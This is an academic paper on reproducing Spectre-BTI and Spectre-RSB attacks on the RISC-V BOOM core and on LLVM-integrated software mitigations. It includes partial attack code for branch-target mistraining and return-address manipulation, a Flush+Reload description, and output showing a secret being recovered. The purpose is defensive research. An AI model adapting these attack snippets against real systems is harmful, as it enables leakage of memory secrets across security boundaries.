Software Mitigation of RISC-V Spectre Attacks

Ruxandra Bălucea
University of Bucharest

Paul Irofti
University of Bucharest

Abstract

Speculative attacks are still an active threat today that, even if initially focused on the x86 platform, reach across all modern hardware architectures. RISC-V is a newly proposed open instruction set architecture that has seen traction from both the industry and academia in recent years. In this paper we focus on the RISC-V cores where speculation is enabled and, as we show, where Spectre attacks are as effective as on x86. Even though RISC-V hardware mitigations were proposed in the past, they have not yet passed the prototype phase. Instead, we propose low-overhead software mitigations for Spectre-BTI, inspired from those used on the x86 architecture, and for Spectre-RSB, to our knowledge the first such mitigation to be proposed. We show that these mitigations work in practice and that they can be integrated in the LLVM toolchain. For transparency and reproducibility, all our programs and data are made publicly available online.

1 Introduction

The introduction of Spectre [10] and Meltdown [14] attacks in 2018 opened up a new field of research exploiting side-effects that are spilled by speculation techniques inside the micro-architecture of modern processors [5, 7, 9, 11, 20, 24]. Spectre attacks proved to be the hardest to mitigate [4, 16, 24], even though it was attempted via both software [1, 8, 18, 19, 22] and hardware [7, 12, 15] patches. These attacks mainly targeted the popular x86 architecture, but Spectre was later shown to affect multiple other architectures [7, 17, 20, 21].

RISC-V is a new open-standard instruction set architecture (ISA) [23] recently proposed by University of California, Berkeley that has seen wide academic and industry adoption [15]. In this paper we focus on reproducing and mitigating Spectre attacks on the RISC-V architecture.

Even if the RISC-V cores are written from scratch in order to research new efficient hardware methods, they must also keep up with existing performance-inducing technologies. Speculation is one of them and it is present on all modern processors. Despite recent speculation attacks, unfortunately, for mainstream architectures such as x86, there are few hardware mitigations and even these seem to not be sufficient [4]. On RISC-V, the few proposed hardware implementations [7, 15, 25] are mostly combinations or adaptations of the x86 ones. So, even if they seem to be quite efficiently in the present, as the RISC-V community grows, we expect the same problems as on x86.

In this context, despite the fact that the same performance can not be achieved as with hardware solutions, software mitigations remain the most practical and safe ones.

To our knowledge, currently on RISC-V there are implemented the following variants of Spectre: Spectre on Conditional Branches (Spectre v1), Spectre Branch Target Injection (Spectre-BTI or Spectre v2) [7] and Spectre Return Stack Buffer (Spectre-RSB or Spectre v5) [21].

In this paper we propose software mitigations for the Spectre-BTI variants and also for Spectre-RSB. As far as we know, this is the first time that Spectre-RSB mitigations are proposed.

Retpoline [22] is such a mitigation developed for x86 that targets only Spectre-BTI. As far as we know, no software mitigation is known for the RISC-V architecture and in fact, for any other RISC architecture. We assume that this is also due to the fact that for the RISC-V ISA things are not as straightforward as on x86 because the prologue and the epilogue of a function are more complex. The stack frame requires saving of a really important callee-saved register - the return address `ra`. Retpoline is influenced by the calling-convention and how function return is achieved. Therefore, for RISC-V, it can not be applied. In this paper we propose a new software mitigation method for RISC-V that addresses and circumvents these issues.

Revisiting the main idea behind x86 Retpoline, we note that this mitigation can be applied for Spectre v2 because speculation also appears in the context of a call instruction. Thus, we defend against this type of attack by applying a defense technique derived from another speculation attack - Spectre v5. The idea is that the indirect jump to an address

from a register (x86 `jmp`, RISC-V `jalr`) can be replaced with a direct call to a function (`call`, `jal`) where the return address can be overwritten with the value of that register. At the return phase, the execution will continue at the address from the register. At the same time, speculatively there will be executed the instructions under the call. Thus, in order to trap the speculation, we add an infinite loop after the indirect jump.

Focusing on RISC-V, this defense can not be applied in the same manner. If we modify the return address with the desired register value, the function called indirectly will also have as return address the beginning of the function and the execution will be caught in an infinite loop (we describe this in detail around Figures 3 and 6). This is because the return is not dictated by the value from the top, but by the return address register which is saved on the stack and restored at the end (we describe this behavior in detail around Figure 4). Nevertheless, this mitigation can be applied as described above in specific contexts: for indirect jumps there is no stack frame created and there is no dependency on the value of the return address register.

Contribution. Our main contribution is the proposal of software mitigations on RISC-V against Spectre attacks. To this end we provide an implementation of the proposed defense that handles Spectre-BTI, for both indirect jumps and calls, and Spectre-RSB. To our knowledge, this is the first time that Spectre-RSB mitigation is proposed. The distinction can be made directly in the assembly code and the defense can be applied by replacing the jump/call instructions with specific code. To prove this, we provide a publicly available LLVM feature that can be activated at compilation time through enabling the mitigations via a single flag. The resulting executable can be run on the RISC-V speculative core BOOM. Spectre-BTI and Spectre-RSB will be no longer reproduced. Another contribution is the adaptation of the existing Spectre variants for the RISC-V speculative cores that we implement in practice and make publicly available. We also provide the steps necessary to reproduce our research together with our test programs and data.

Outline. In Section 3, we revisit and adapt the Spectre attacks needed in order to prove that RISC-V is vulnerable to this type of attacks, which are also required in part for our proposed mitigations. Next, in Section 4, we introduce the proposed defenses against Spectre-RSB and two types of Spectre-BTI attacks. We test our attack and mitigations attacks and provide experiments along with ways of reproducing our results in Section 5. In the next section we conclude and make publicly available our implementation and data.

2 Berkeley Out of Order Machine

Berkeley Out of Order Machine (BOOM) [3, 6, 27] is an open-source RV64GC core written in Chisel. It is superscalar, out-of-order and speculative, being an ideal candidate for our work.

The speculation is dictated by a two-level branch predictor composed of a Next-Line Predictor (NLP) and a Backing Predictor (BPD). The predicted address is chosen based on two other structures incorporated in the NLP - Branch Target Buffer (BTB) and Return Address Stack (RAS). The taken/not taken decision is up to the BPD, but as we do not address an attack based on branches, we will not present more information here.

BTB is a table with 64×4 entries, set-associative which stores a mapping from a PC address to a target address. A tag search is initiated in this table, whenever a prediction for an indirect jump is needed.

RAS is a stack which maintains in the top the following address after the last call. This value is popped when a `ret` instruction is met. The stack structure was chosen in order to handle nested calls. However, this was a problem in the second version of BOOM because the stack was not updated correspondingly in case of a mispredict. This was solved in SonicBoom, the third version of BOOM.

3 RISC-V Spectre Attacks

This section presents Spectre-BTI (Branch Target Injection) [10] and Spectre-RSB (Return Stack Buffer) [11] in the RISC-V context [7] along with the side-channel technique Flush&Reload [26] which is a prerequisite for these attacks.

3.1 Spectre-BTI

Spectre-BTI was reproduced on RISC-V on the experimental speculative core BOOM. In this variant, arbitrary locations in the allocated memory of a program can be read exploiting the indirect branch instructions - `jalr` for calls and `jr` for jumps. Each jump/call to an indirect address, loaded in a register, creates a speculation window during which essential information can be brought into the cache memory. As on other architectures, in case of a mispredict, the cache is not cleared and the information can be retrieved by an attacker.

The attack is illustrated by reading memory from the same process, having a role-play between an attacker and a victim. In our experiments we use this approach due to the limitations imposed by the simulator (as will be later described). The time needed to execute is quite long, so we prefer to use a single binary.

In the first phase, the attacker mistrains the Branch Target Buffer (BTB) jumping for a large number of times to a valid fixed address. The valid jump is taken to a segment of code that discloses information from a certain memory region. This

```
1  uint64_t passInIdx;
2  uint8_t array1[10] = {1,2,3,4,5,6,7,8,9,10};
3  uint8_t array2[256 * L1_BLOCK_SZ_BYTES];
4  char* secretString = "BOOM!";
5
6  void wantFunc(){
7      asm("nop");
8  }
9
10 void victimFunc(){
11     temp &= array2[array1[passInIdx] *
           L1_BLOCK_SZ_BYTES];
12 }
13
14 int main() {
15     uint64_t attackIdx =
16        (uint64_t)(secretString - (char*)array1);
17      ...
18      //victimFunc address is loaded in %[addr]
19      //    for the training phase
20      // wantFunc addrees is loaded in %[addr]
21      //    by the victim
22      "jalr ra, \%[addr], 0\n"
23      ...
24 }
```

Figure 1: Spectre v2

step makes the predictor assume that the jump will always be taken. In the second stage, the attacker makes the victim execute an indirect jump to another (normally illegal) address, where the disclosed information is of interest to the attacker, and, due to the training phase and speculation, the predictor assumes the jump will be taken and the pipeline proceeds with the memory access. Thus, the second phase can create side-effects into the cache, side-effects that provide unauthorized information to the attacker. In the end, even if the jump is made to the correct address, the data from cache can still be read by the attacker.

We will present here only the main aspects of this attack in order to introduce our work. The implementation details can be found in the Supplementary Material and also in the original paper [7]. Spectre authors present an attack based on the indirect calls having two pieces of code similar to the functions presented in Figure 1. Spectre-v2 was presented by the authors only for indirect calls that appear, for example, when we are talking about virtual functions. We extended this example and add a new one for the indirect jumps when the register keeps the address of a snippet of code, such as for a switch case. Thus, in the new example, we took the assembly code generated for this function, removed the instructions related to the stack frame and used the global variable `passInIdx` to access the desired memory. Even if for the calls we could have maintained `passInIdx` as a parameter, we also kept it as a global variable for linearity.

As presented above, the BTB is trained in the first stage to predict the `victimFunc` address. The jump to that function was repeated 40 times, each time assigning different valid values to the `passInIdx` variable. The 41st time, as it can be seen in line 15, the attacker assigned to this variable a convenient value, for example, the index corresponding to the beginning of the secret. In the second phase, in line 22, the victim tries to call via an indirect instruction `wantFunc`, but speculatively `victimFunc` is called again. So, in line 11, `array2[array1[attackIdx] * L1_BLOCK_SZ_BYTES]` i.e. `array2['B' * L1_BLOCK_SZ_BYTES]` is brought in the cache. Having this value in the cache and access to `array2`, the attacker can retrieve the first character from the password with a method that we will present in Section 3.2.

For more details, the reader is advised to consult the full attack provided in the Supplementary Material. There, the code presented in Listing 1 is for an attack on indirect calls (see the called functions from Listing 2). For indirect jumps, at line 73, we should have a jump instruction: `jalr x0, %addr, 0`. Also, for the return from the snippets of code presented in the assembly file from Listing 3, we added at the end a jump back to a label from the source file. This label should be added after the indirect jump at line 74 and declared as global before main (`asm(".global end\n")`).

3.2 Flush & Reload

Flush & Reload [26] is a side-channel attack used to monitor the access to shared memory by timing the cache hits. The attacker can flush specific lines from cache and wait for a victim access. After this event occurs, the attacker can reload the memory lines measuring the time to load. If the elapsed time is short, it means that the the victim has already accessed that line and the information is stored into the cache. Otherwise, it will take longer because the line has to be brought from the main memory.

To flush a line from the cache memory, the x86 ISA defines a special instruction `clflush`. For RISC-V there is no such instruction and the authors of [7] had to implement a function with similar behavior. The main difference between the two is that this function evicts an entire set from the cache and a set contains more than one line. Thus, in order to reproduce the attack, the shared memory must store elements at indexes multiple of the size of a set `L1_ BLOCK_SZ_ BYTES`. In addition, the BOOM replacement policy is 4-way associative, meaning that a memory block can occupy any of the 4 cache lines. This means that in our function the set must be flushed by `4 * L1_WAYS` where `L1_WAYS` is the number of ways. This value will assure that the set is indeed evicted. The authors mention that by choosing this number, the probability of eviction is `99%` [7].

In our case, for the Spectre-v2 attack, in the training phase, the attacker will also flush `array2` from the cache memory. Now, going back to the loading that occurs speculatively in `victimFunc`, we can use the reload step (see Supplementary Material, Listing 1, lines 78-83). With this, the attacker can find out the element that was accessed by the

```
1  __asm__ (
2      "frameDump:";
3      "# Pop off stack frame and get main RA"
4      "ld ra, 56(sp)";
5      "addi sp, sp, 64";
6      "ld fp, -16(sp)";
7      ...
8      "ret");
9  void specFunc(char *addr){
10     extern void frameDump();
11     uint64_t dummy = 0;
12     frameDump();
13     char secret = *addr;
14     dummy = array2[secret * L1_BLOCK_SZ_BYTES];
15     dummy = rdcycle();
16 }
```

Figure 2: Spectre v5

victim from `array2`. By accessing all the values from 0 to 256 (the ASCII codes for all the characters) multiplied by `L1_BLOCK_SZ_BYTES`, the attacker can discover the index of the element accessed by the victim. The time taken to load `array2[66 *L1_BLOCK_SZ_BYTES]` (Figure 1, line 11) will be much shorter because 66 is the ASCII code for the character `'B'`, which is the value used by the victim as well. Therefore, the attacker will discover the first character from the secret.

3.3 Spectre-RSB

Spectre-RSB [11], known as Spectre-v5, was reproduced on SonicBoom, the third generation of BOOM which added as a feature a functional RAS. In this variant, the vulnerability is based on the RAS hardware stack where the most probable return addresses are pushed for each `call` instruction. Based on these values, the return from a function is speculatively computed and, as before, a speculation execution window is created. Although, if the value of the return address register `ra` is manipulated during the function, the program will continue the execution on a different path and the information brought into the cache by the instructions executed speculatively will not be erased. In this context, again, an attacker can retrieve the information using the Flush & Reload technique.

For BOOM, the implementation of the RAS generates a new stack entry: the address of the next instruction after the `call`. In Figure 2 we illustrate the attack. As can be seen, it is enough to add a function which modifies the return address and add relevant code after the call to this function (lines 13-15). To accomplish this, the function `frameDump` (line 2) loads in register `ra` the value of the return address of the function `specFunc` (line 4) and the stack frame is popped (line 5), so the execution will continue directly in the calling function of `specFunc`.

Similar to what we discussed in the previous attack, the attacker can set the parameter to `specFunc` as the desired address (line 9), in this case the address of the secret string. The value from `array2` (line 14) corresponding to the first character will be brought into memory and the attacker will be able to retrieve the information using Flush & Reload. By repeating the attack for all characters, the secret will be revealed.

```
1  jr      a5
```

```
1  jal set_up_target
2  capture_spec:
3    j capture_spec
4  set_up_target:
5    addi ra, a5, 0
6    jr ra
```

Figure 3: RISC-V mitigation - indirect jump

4 RISC-V Spectre Mitigations

Given the attacks from Section 3, we now propose two Spectre-BTI mitigation strategies for the RISC-V architecture, inspired by the x86-specific software mitigation Retpoline [22] and a new Spectre-RSB mitigation, the first in the field as far as we know. In the current section we present and discuss ways of replacing indirect jumps and calls with a sequence of instructions that will provide the same behavior while removing the speculation attack.

4.1 Spectre-BTI: Indirect Jumps

Indirect jumps are realized using the `jr` instruction which is in fact an assembly pseudo instruction for `jalr` with the first operand set as register `X0`.

$$\text{jr rd, rs1} \rightarrow \text{jalr x0, rs1, 0}$$

This register is hardwired zero. So, its presence on that position indicates that no register will take the value of the following instruction address.

The mitigation is summarized in Figure 3; the first block represents the original indirect jump instruction and the second its replacement. To replace the `jr` instruction (first block, line 1), we use the Spectre v5 vulnerability and rewrite it as a direct call to a pseudo-function with no calling-convention applied (second block, line 1). In this function we store in `ra` the value of the register from the indirect jump (line 5). At the end we do a `ret` - an indirect jump to the return address register `jr ra` (line 6). During this time the speculation will be caught in an infinite loop that takes place after the `call` instruction (lines 2–3).

```
1 addi sp, sp, -16 # add space on the stack
2 sd ra, 8(sp)     # save the return address
3 sd fp, 0(sp)     # save the frame pointer
4 addi fp, sp, 16  # modify the stack frame base
```

```
1 ld fp, 0(sp)     # restore the frame pointer
2 ld ra, 8(sp)     # restore the return address
3 addi sp, sp, 16  # reduce the size of the stack
4 jr ra            # return in the caller
```

Figure 4: Current general function prologue (top) and epilogue (bottom)

4.2 Spectre-BTI: Indirect Calls

For the indirect calls, the transformation is not so simple. The indirect calls are reflected in the `jalr` single-operand pseudo-instruction which is an alias for the instruction with the same name, but more operands.

$$\text{jalr rs1} \rightarrow \text{jalr ra, rs1, 0}$$

The first operand which is the operand that will take the value of the following instruction address is in this case set by default to `ra`. In this way, the return from the called function is right after the call instruction and now it is quite clear why this value is chosen as a RAS entry.

$$\text{ra} \leftarrow \text{pc} + 4$$
$$\text{pc} \leftarrow \text{rs1} + 0$$

In order to achieve the same behavior as for the indirect jumps we need to find a way not to overwrite the return address for the functions called through the register. We want to maintain the idea of overwriting the return address for the `set_up_target` function with the address of the beginning of the function stored in the register. Thinking about where does the called function return, we discover that in fact that address is not represented by the value from `ra`, but by the value from the stack restored at the end in `ra`. Thus we can replace the return address register with the value of the register from the indirect call, but with one condition: we can not store this new address on the stack. Instead, we need to save the legitimate one - the address after the indirect call.

Remark. *If during the function execution the return address register* `ra` *is modified, for example when handling an error via an early return inside an if-clause, our mitigation will not affect the normal program behavior.*

In Figure 4 we present an usual prologue and epilogue for a 64-bit RISC-V core. In the Prologue (top block), in order to meet the condition presented above, we need to jump over the instruction that adds space on the stack by default (line 1) and over the instruction that stores the value of `ra` on the stack (line 2). In order to do this, we need to recreate these instructions in the body of the `set_up_target`.

```
1 addi sp, sp, -32
2 sd ra, 24(sp)
3 sd fp, 16(sp)
4 addi fp, sp, 16
5 sd s1, 8(sp)
6 sd s2, 0(sp)
```

```
1 addi sp, sp, -16
2 sd ra, 8(sp)
3 sd fp, 0(sp)
4 addi fp, sp, 0
5 addi sp, sp, -16
6 sd s1, 8(sp)
7 sd s2, 0(sp)
```

Figure 5: Prologue mitigation for function `f1`: top block represents the original prologue and the bottom block presents the proposed mitigation.

In practice the first lines in the prologue are not always the ones presented in the top block of Figure 4. These lines are changed by adding the callee-saved registers on the stack. These are resizing the stack and the space added becomes dependent on their number. For example, for a given function `f1`, registers `s1` and `s2` must be saved on the stack so the allocated space is increased to 32 bits. Another function `f2`, that is also called indirectly, requires a single register to be saved and the allocated space is only of 24 bits. Our goal is to replace the indirect call with the same code all the time no matter of the function at hand.

Thus the first measure to be taken is one that offers consistency to the instructions used by the prologue. We propose to accomplish this in two separate phases. The idea here is to modify the prologue of all functions such that in the first phase, the memory is allocated only for the registers saved all the time - `ra` and `fp`. In the second stage, the stack size can be adjusted by the initial value minus 16 bytes (in case of a 64-bit architecture). From then on, the compiler can continue to emit the stores for the other callee-saved and the rest of the function body. Therefore, the initial part of the prologue is replaced by one with the same behavior which keeps the first instructions constant.

As an example, the transformation for the `f1` function is presented in Figure 5. In the first frame, the stack allocation is the usual one, similar to the one exposed in Figure 4, adapted for the `f1` function. In the second frame, the prologue is changed as previously described. The stack size is initially increased only by 16 bytes (line 1) in order to allocate space for the storage of `ra` and `fp` (lines 2 - 3). Now, the frame pointer is modified to point to the value of the old `fp` by taking the value of `sp` (line 4). As a last step, at line 5, the value of `sp` is decreased again with the necessary amount of space for the callee-registers - 16 bytes for `s1` and `s2` (the stack grows downwards).

We generalize this approach and introduce the resulting

```
1 jalr    a5
```

```
1  jal set_up_target
2  capture_spec:
3    j capture_spec
4  set_up_target:
5    addi ra, a5, 4
6    addi sp, sp, -16
7    la a5, end
8    sd a5, 8(sp)
9    jr ra
10 end:
```

Figure 6: RISC-V mitigation - indirect call

```
1 call    frameDump
```

```
1  jal set_up_target
2  capture_spec:
3    j capture_spec
4  set_up_target:
5    la ra, frameDump
6    jr ra
```

Figure 7: RISC-V mitigation - Spectre RSB

instructions in the body of the `set_up_target` function. The full implementation is depicted in Figure 6: the top block contains the original indirect call instruction and the bottom block our proposed mitigation. On line 5, in order to jump over the first two instructions, we need to add in `ra` the value from the register plus 4. For this, we remind the reader that we use RV64GC - the default target for the existing compilers. In this case, some instructions like `addi` and `sd` are compressed on 2 bytes each. After that, on line 6, we need to add the instruction which allocates space for the registers `ra` and `fp` and store on the stack (lines 7–8) the address at the end of the snippet of code (line 10). In our LLVM implementation we computed the offset for the relative jump, but here, for clarity, we store the address of a pre-added label (line 10). Other than that, the idea is the same as for the indirect jump, the call to the function is realized using the value from the `ra` register (line 9) and the speculation is trapped after the call (lines 2–3).

Remark. *The transformation presented in 6 is applied in case of using the compressed extension. Also, the function and the call should be in files compiled with the same option (with or without the compressed extension activated).*

4.3 Spectre-RSB

The idea behind this mitigation is similar to the one presented for the two variants of Spectre-BTI. We need to avoid a `call` instruction which will add into the RAS an address that will be used for speculation.

A call does not have as an operand a register, but a relocated symbol whose address is either known, either will be computed at link time. Either way, there is no reason not to use the symbol in a different instruction. So, similar to moving the value of the register used for indirect jumps in `ra`, we can use the symbol for a load in `ra`.

As a result, we propose a mitigation where, as we can see in Figure 7, we maintain the idea of catching the speculation in an infinite loop (lines 2 - 3) and make a call to the `set_up_target` function (line 1). In this function with no prologue and no epilogue, we load the address of the symbol in the `ra` register(line 5) and return basically at the beginning of the function that we need to call (line 6).

5 Experiments

As we mentioned before, to run our experiments we used a superscalar, speculative, out-of-order core named BOOM (Berkeley Out-of-Order Machine). For this project we used the latest version of BOOM named SonicBoom. BOOM can be also integrated in a SoC using the majority of hardware structures from Rocket Chip by loading them like a library.

BOOM can be used as a part of a larger project named Chipyard which includes a number of different cores, tools, accelerators and simulators. From this project, different configurations of a chip can be generated with different numbers of cores, with vectorization support or different number of inputs for certain components. In our experiments, we used the smallest available configuration - `SmallBoomConfig`.

All these configurations can be used directly on FPGAs or using the VCS simulator. They can also be executed on the open-source simulator Verilator which was our choice as well. Being a software simulated environment, execution times can take a really long time. Nevertheless, the results are reliable and the behavior is similar as for the other options. Even though we reached out to other vendors that offer RISC-V chips with speculation enabled, in our case this was the only testbed available that we could run our attacks and test our proposed mitigations on.

To reproduce our experiments, we created a minimal configuration and made it publicly available in our repository[1]. The interested reader is advised to consult the official documentation of BOOM [27] and Chipyard [2] for further study.

The mitigations for the scenarios presented in Section 4 were adapted and integrated in the LLVM toolchain. In the future, we hope to get our work integrated in the official LLVM project. The patchset and the full tree of the modified LLVM version is also made available online in our repository. To reproduce our results, it is necessary to download the updated version of LLVM[2] and build it following the

[1] https://github.com/riscv-spectre-mitigations/Spectre-v2-v5-mitigation-RISCV

[2] https://github.com/riscv-spectre-mitigations/llvm-retpoline.git

```
./simulator-chipyard-SmallBoomConfig bin/
    indirectBranchFunction.riscv
The attacker guessed character B 8 times.
The attacker guessed character O 8 times.
The attacker guessed character O 7 times.
The attacker guessed character M 8 times.
The attacker guessed character ! 9 times
The guessed secret is BOOM!
./simulator-chipyard-SmallBoomConfig bin/
    indirectBranchSwitch.riscv
The attacker guessed character B 7 times
The attacker guessed character O 6 times
The attacker guessed character O 7 times
The attacker guessed character M 6 times.
The attacker guessed character ! 8 times
The guessed secret is BOOM!
./simulator-chipyard-SmallBoomConfig bin/
    returnStackBuffer.riscv
The attacker guessed character B 9 times
The attacker guessed character O 8 times
The attacker guessed character O 6 times
The attacker guessed character M 6 times.
The attacker guessed character ! 10 times
The guessed secret is BOOM!
```

```
./simulator-chipyard-SmallBoomConfig bin/
    indirectBranchFunction.riscv
The attacker guessed character  1 times.
The attacker guessed character  1 times.
The attacker guessed character  1 times.
The attacker guessed character  1 times.
The attacker guessed character  1 times.
The guessed secret is
./simulator-chipyard-SmallBoomConfig bin/
    indirectBranchSwitch.riscv
The attacker guessed character  1 times.
The attacker guessed character  1 times.
The attacker guessed character  1 times.
The attacker guessed character  1 times.
The attacker guessed character  1 times.
The guessed secret is
$ ./simulator-chipyard-SmallBoomConfig bin/
    returnStackBuffer.riscv
The attacker guessed character  0 times.
The attacker guessed character  1 times.
The attacker guessed character  0 times.
The attacker guessed character  1 times.
The attacker guessed character  0 times.
The guessed secret is
```

Figure 8: Attacks (left) and mitigations (right): spectre attack is repeated 10 times for each memory read. Left block recovers the seceret "BOOM!" via three Spectre attacks; right block attempts to do the same but with mitiagtions enabled but fails.

recommendations on their official page. Additionally, GNU toolchain version 2.32 for RISC-V[3] needs to be installed in the same directory as LLVM.

Our repository also contains programs testing for and, if possible, reproducing the attacks for the two variants of Spectre v2, on indirect jumps (see `indirectBranchSwitch`), and indirect calls (see `indirectBranchFunction`) and also for Spectre v5 (`returnStackBuffer`). These can be compiled and executed using the Makefile. To activate the mitigation it is necessary to add the parameter `RETPOLINE=1` to the make command. For both cases, there are also some variants of the tests that do not need the updated compiler. Here, the attack is mitigated directly from the code, using inline assembly and manually replacing the unsafe sections as described in Section 4.

We present an instance of our experiments in Figure 8 where the left block reproduces the Spectre attacks and the right block tries to reproduce them with mitigations enabled thus failing to retrieve the secret. As customary with Spectre attacks, due to the empirically chosen cache hit threshold, the confidence level of the retrieved data is increased by running the attack for ten times on each character from the secret. As we can see in Figure 8 in the left block, on an unpatched system, the characters are guessed in the majority of times. After adding the LLVM compiler option that includes our mitigations, in the right block of Figure 8, the characters are no longer guessed. Nothing will be printed in the console, as each time a different non-printable character from the ASCII code is guessed. Other times no character is guessed at all (denoted "0 times" in the Figure) as nothing was found in the cache. This is why we do not see a character in the output and this is also why for each character we get that it was guessed only a single time.

[3] https://github.com/riscv-collab/riscv-gnu-toolchain

	RV64G	RV64GC
Indirect jumps	12 bytes	10 bytes
Indirect calls	28 bytes	22 bytes
Function Prologue	4 bytes	2 bytes
Direct calls	16 bytes	14 bytes

Table 1: Size difference for each change created by the mitigation for the standard ISA (RV64G) and standard ISA with the compressed extension (RV64GC).

Regarding the performance impact of our proposed mitigations, unfortunately, using the simulator as our only option, did not permit us to obtain a reliable execution time performance analysis. Of course, the code size will be increased by the instructions depicted in Figures 3 and 6, but we argue that this small increase is acceptable.

The code size depends on the usage of the compressed extension (RV64GC). Also, the size difference is influenced by the number of indirect jumps, indirect calls, direct calls, and functions. The number of bytes for each case is presented in Table 1. For indirect jumps and calls, the difference results from adding a number of extra instructions as presented in Figures 3 and 6. For functions, only one supplementary instruction is added by splitting the stack allocation in two phases.

Future research can help reduce this code size increase by employing static or dynamic analysis to identify and replace only the vulnerable paths. Given that our mitigations have a similar approach to that of the x86 Retpoline implementation which is in use by most users today, we expect this to also

be the next step for RISC-V development and to become the default on this platform. Nowadays kernels on x86 are compiled with this mitigation for both Windows [1] and Linux (since 4.15) [19] operating systems. Also, the Retpoline authors showed that this mitigation does not cause significant performance degradation for x86 [13].

6 Conclusions

In this paper we reproduced Spectre-BTI and Spectre-RSB attacks on the RISC-V speculative core BOOM. Our main contribution represents the proposed software mitigations for Spectre-RSB, to our knowledge the first mitigation for this attack, and for Spectre-BTI indirect jumps and indirect calls. We demonstrate that these mitigations are effective against Spectre variants as depicted by our experiments. The resulting work is integrated in the LLVM toolchain for ease of use and reproducibility.

Acknowledgments

The authors are members of the Research Center for Logic, Optimization and Security (LOS), Department of Computer Science, Faculty of Mathematics and Computer Science, University of Bucharest, Romania. Emails: ruxandra.balucea@unibuc.ro, paul@irofti.net.

The authors would like to thank the RISC-V Foundation for their kind hardware donation.

Paul Irofti was supported by a grant of the Ministry of Research, Innovation and Digitization, CNCS/CCCDI - UEFISCDI, project number PN-III-P2-2.1-SOL-2021-0036, within PNCDI III. and also by a grant of the Romanian Ministry of Education and Research, CNCS - UEFISCDI, project number PN-III-P1-1.1-PD-2019-0825, within PNCDI III.

Availability

Our programs, source code and data are documented and made publicly available on Github (https://github.com/riscv-spectre-mitigations).

References

[1] A. Allievi. Retpoline: The Anti-Spectre (Type 2) Mitigation in Windows. In *BlueHat v18 Security Conference*, 2018.

[2] A. Amid, D. Biancolin, A. Gonzalez, D. Grubb, S. Karandikar, H. Liew, A. Magyar, H. Mao, A. Ou, N. Pemberton, et al. Chipyard: Integrated design, simulation, and implementation framework for custom socs. *IEEE Micro*, 40(4):10–21, 2020.

[3] K. Asanovic, D. A. Patterson, and C. Celio. The berkeley out-of-order machine (boom): An industry-competitive, synthesizable, parameterized risc-v processor. Technical report, University of California at Berkeley Berkeley United States, 2015.

[4] E. Barberis, P. Frigo, M. Muench, H. Bos, and C. Giuffrida. Branch history injection: On the effectiveness of hardware mitigations against cross-privilege spectre-v2 attacks. In *USENIX Security*, volume 11, 2022.

[5] A. Bhattacharyya, A. Sánchez, E. M. Koruyeh, N. Abu-Ghazaleh, C. Song, and M. Payer. Specrop: Speculative exploitation of {ROP} chains. In *23rd International Symposium on Research in Attacks, Intrusions and Defenses ({RAID} 2020)*, pages 1–16, 2020.

[6] C. Celio, P. Chiu, B. Nikolic, D. A. Patterson, and K. Asanovic. Boomv2: an open-source out-of-order risc-v core. In *First Workshop on Computer Architecture Research with RISC-V (CARRV)*, 2017.

[7] A. Gonzalez, B. Korpan, E. Younis, and J. Zhao. Spectrum: Classifying, Replicating and Mitigating Spectre Attacks on a Speculating RISC-V Microarchitecture. Technical report, University of California at Berkeley, 2019.

[8] D. Gruss, M. Lipp, M. Schwarz, R. Fellner, C. Maurice, and S. Mangard. Kaslr is dead: long live kaslr. In *International Symposium on Engineering Secure Software and Systems*, pages 161–176. Springer, 2017.

[9] V. Kiriansky and C. Waldspurger. Speculative buffer overflows: Attacks and defenses. *arXiv preprint arXiv:1807.03757*, 2018.

[10] P. Kocher, J. Horn, A. Fogh, D. Genkin, D. Gruss, W. Haas, M. Hamburg, M. Lipp, S. Mangard, T. Prescher, and et al. Spectre attacks: Exploiting speculative execution. *2019 IEEE Symposium on Security and Privacy (SP)*, 2019.

[11] E.M. Koruyeh, K. N. Khasawneh, C. Song, and N. Abu-Ghazaleh. Spectre returns! speculation attacks using the return stack buffer. In *12th {USENIX} Workshop on Offensive Technologies ({WOOT} 18)*, 2018.

[12] E.M. Koruyeh, S.H.A. Shirazi, K.N. Khasawneh, C. Song, and N. Abu-Ghazaleh. Speccfi: Mitigating spectre attacks using cfi informed speculation. In *2020 IEEE Symposium on Security and Privacy (SP)*, pages 39–53. IEEE, 2020.

[13] M. Linton and P. Parseghian. More details about mitigations for the CPU Speculative Execution issue. https://security.googleblog.com/2018/01/more-details-about-mitigations-for-cpu_4.html. Accessed: 2022-05-28.

[14] M. Lipp, M. Schwarz, D. Gruss, T. Prescher, W. Haas, A. Fogh, J. Horn, S. Mangard, P. Kocher, D. Genkin, Y. Yarom, and M. Hamburg. Meltdown: Reading kernel memory from user space. In *27th USENIX Security Symposium (USENIX Security 18)*, 2018.

[15] V. Martinoli, Y. Teglia, A. Bouagoun, and R. Leveugle. Cva6's data cache: Structure and behavior. *arXiv preprint arXiv:2202.03749*, 2022.

[16] A. Milburn, K. Sun, and H. Kawakami. You cannot always win the race: Analyzing the lfence/jmp mitigation for branch target injection. *arXiv preprint arXiv:2203.04277*, 2022.

[17] S. Miles, C. McDonough, E. O. Michael, V.S. Shankar Kumar, and J.J. Lee. Simulating modern cpu vulnerabilities on a 5-stage mips pipeline using node-red. In *Advances in Data Computing, Communication and Security*, pages 707–716. Springer, 2022.

[18] R. Nikolaev, H. Nadeem, C. Stone, and B. Ravindran. Adelie: Continuous address space layout re-randomization for linux drivers. *arXiv preprint arXiv:2201.08378*, 2022.

[19] J Poimboeuf. Static calls. *Linux Weekly News*, 2018.

[20] J. Ravichandran, W.T. Na, J. Lang, and M. Yan. Pacman: attacking arm pointer authentication with speculative execution. In *Proceedings of the 49th Annual International Symposium on Computer Architecture*, pages 685–698, 2022.

[21] M. Sabbagh, Y. Fei, and D. Kaeli. Secure speculative execution via risc-v open hardware design. In *Fifth Workshop on Computer Architecture Research with RISC-V*, June 2021.

[22] P. Turner. Retpoline: a software construct for preventing branch-target-injection. https://support.google.com/faqs/answer/7625886. Accessed: 2022-05-28.

[23] A. Waterman and K. Asanovi. *The RISC-V Instruction Set Manual, Volume I: User-Level ISA*. RISC-V Foundation.

[24] P. Wieczorkiewicz. The amd branch (mis)predictor part 2: Where no cpu has gone before (cve-2021-26341). *grsecurity Blog*, 2022.

[25] N. Wistoff, M. Schneider, F.K. Gürkaynak, G. Heiser, and L. Benini. Systematic prevention of on-core timing channels by full temporal partitioning. *arXiv preprint arXiv:2202.12029*, 2022.

[26] Y. Yarom and K. Falkner. Flush+ reload: A high resolution, low noise, l3 cache side-channel attack. In *23rd {USENIX} Security Symposium ({USENIX} Security 14)*, pages 719–732, 2014.

